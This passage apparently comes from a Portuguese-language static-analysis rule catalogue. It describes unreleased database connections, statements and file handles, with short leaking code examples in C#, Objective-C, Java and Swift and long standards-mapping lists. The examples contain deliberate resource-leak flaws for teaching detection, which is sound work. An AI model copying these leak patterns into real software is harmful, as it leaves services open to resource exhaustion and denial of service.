[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.abap.unreleased_resource_database
Abstract
O programa talvez não consiga liberar um recurso do sistema.
Explanation
O programa talvez não consiga liberar um recurso do sistema.

Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: Em condições normais, o código a seguir executa uma consulta ao banco de dados, processa os resultados retornados pelo banco de dados e fecha o objeto SqlConnection alocado. Mas, se ocorrer uma exceção durante a execução do SQL ou o processamento dos resultados, o objeto SqlConnection não será fechado. Se isso acontecer com frequência suficiente, o banco de dados ficará sem cursores disponíveis e não poderá executar mais consultas SQL.


...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 619, CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[17] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.unreleased_resource_database
Abstract
O programa talvez não consiga liberar um recurso de banco de dados.
Explanation
Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: O código a seguir executa uma consulta de banco de dados, mas não libera a instrução ou os recursos de conexão.

- void insertUser:(NSString *)name {
...
sqlite3_stmt *insertStatement = nil;
NSString *insertSQL = [NSString stringWithFormat:@INSERT INTO users (name, age) VALUES (?, ?)];
const char *insert_stmt = [insertSQL UTF8String];
...
if ((result = sqlite3_prepare_v2(database, insert_stmt,-1, &insertStatement, NULL)) != SQLITE_OK) {
MyLog(@"%s: sqlite3_prepare error: %s (%d)", __FUNCTION__, sqlite3_errmsg(database), result);
return;
}
if ((result = sqlite3_step(insertStatement)) != SQLITE_DONE) {
MyLog(@"%s: step error: %s (%d)", __FUNCTION__, sqlite3_errmsg(database), result);
return;
}
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 619, CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[17] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.cpp.unreleased_resource_database
Abstract
O programa talvez não consiga liberar um recurso de banco de dados.
Explanation
Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: Em condições normais, o código a seguir executa uma consulta de banco de dados, processa os resultados retornados pelo banco de dados e fecha o objeto de instrução alocado. Porém, se ocorrer uma exceção durante a execução do SQL ou o processamento dos resultados, o objeto de instrução não será fechado. Se isso acontecer com frequência suficiente, o banco de dados ficará sem cursores disponíveis e não poderá executar mais consultas SQL.

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(CXN_SQL);
harvestResults(rs);
stmt.close();
References
[1] FIO04-J. Release resources when they are no longer needed CERT
[2] DOS-2: Release resources in all cases Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 619, CWE ID 772
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[19] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.unreleased_resource_database
Abstract
O programa talvez não consiga liberar um recurso de banco de dados.
Explanation
Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: O código a seguir executa uma consulta de banco de dados, mas não libera a instrução ou os recursos de conexão.

func insertUser(name:String, age:int) {
let dbPath = URL(fileURLWithPath: Bundle.main.resourcePath ?? "").appendingPathComponent("test.sqlite").absoluteString

var db: OpaquePointer?
var stmt: OpaquePointer?

if sqlite3_open(dbPath, &db) != SQLITE_OK {
print("Error opening articles database.")
return
}

let queryString = "INSERT INTO users (name, age) VALUES (?,?)"

if sqlite3_prepare(db, queryString, -1, &stmt, nil) != SQLITE_OK{
let errmsg = String(cString: sqlite3_errmsg(db)!)
log("error preparing insert: \(errmsg)")
return
}

if sqlite3_bind_text(stmt, 1, name, -1, nil) != SQLITE_OK{
let errmsg = String(cString: sqlite3_errmsg(db)!)
log("failure binding name: \(errmsg)")
return
}

if sqlite3_bind_int(stmt, 2, age) != SQLITE_OK{
let errmsg = String(cString: sqlite3_errmsg(db)!)
log("failure binding name: \(errmsg)")
return
}

if sqlite3_step(stmt) != SQLITE_DONE {
let errmsg = String(cString: sqlite3_errmsg(db)!)
log("failure inserting user: \(errmsg)")
return
}
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 619, CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[17] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.swift.unreleased_resource_database
Abstract
O programa talvez não consiga liberar um identificador de arquivo.
Explanation
O programa talvez não consiga liberar um identificador de arquivo.

Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: O método a seguir nunca fecha o identificador de arquivo que ele abre. O método finalize() para ZipFile chama close() por fim, mas não há nenhuma garantia de quanto tempo será necessário antes que o método finalize() seja invocado. Em um ambiente muito ativo, isso pode fazer com que a JVM use todos os seus identificadores de arquivo.


public void printZipContents(String fName) throws ZipException, IOException, SecurityException, IllegalStateException, NoSuchElementException {
ZipFile zf = new ZipFile(fName);
Enumeration<ZipEntry> e = zf.entries();

while (e.hasMoreElements()) {
printFileInfo(e.nextElement());
}
}
Exemplo 2: Em condições normais, a seguinte correção fecha corretamente o identificador de arquivo após a impressão de todas as entradas do arquivo zip. Porém, se uma exceção ocorrer durante a iteração através das entradas, o identificador de arquivo zip não será fechado. Se isso acontece com bastante frequência, a JVM ainda poderá ficar sem identificadores de arquivos disponíveis.


public void printZipContents(String fName) throws ZipException, IOException, SecurityException, IllegalStateException, NoSuchElementException {
ZipFile zf = new ZipFile(fName);
Enumeration<ZipEntry> e = zf.entries();

while (e.hasMoreElements()) {
printFileInfo(e.nextElement());
}
zf.close();
}
References
[1] FIO04-J. Release resources when they are no longer needed CERT
[2] DOS-2: Release resources in all cases Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 775
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[19] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.unreleased_resource_files